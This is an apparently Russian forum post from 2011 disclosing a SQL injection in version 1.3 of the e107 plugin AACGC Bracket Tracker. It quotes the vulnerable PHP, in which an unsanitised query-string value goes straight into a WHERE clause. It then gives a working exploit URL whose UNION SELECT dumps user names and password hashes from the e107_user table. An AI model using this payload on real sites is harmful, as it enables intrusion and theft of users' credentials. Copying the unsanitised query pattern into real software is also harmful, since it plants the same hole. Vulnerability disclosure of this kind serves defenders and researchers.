Показать сообщение отдельно
Старый 02.02.2011, 16:47   #46
Online
 
Аватар для Online
 
Регистрация: 31.01.2011
Сообщений: 10
Репутация: 10
По умолчанию

Plugin name: AACGC Bracket Tracker (download)
Version: 1.3

SQL inj

Vuln file: e107_plugins/aacgc_btracker/Bracket_Details.php
PHP код:
///
if (e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}


$sql->db_Select("aacgc_bt_cat""*""WHERE cat_id=$sub_action","");
$row $sql->db_Fetch();
/// 
Exploit:
Код:
http://[host]/[path]e107_plugins/aacgc_btracker/Bracket_Details.php?det.-1%20union%20select%201,concat_ws(0x3a,user_name,user_password)%20from%20e107_user%20limit%200,1--
Online вне форума   Ответить с цитированием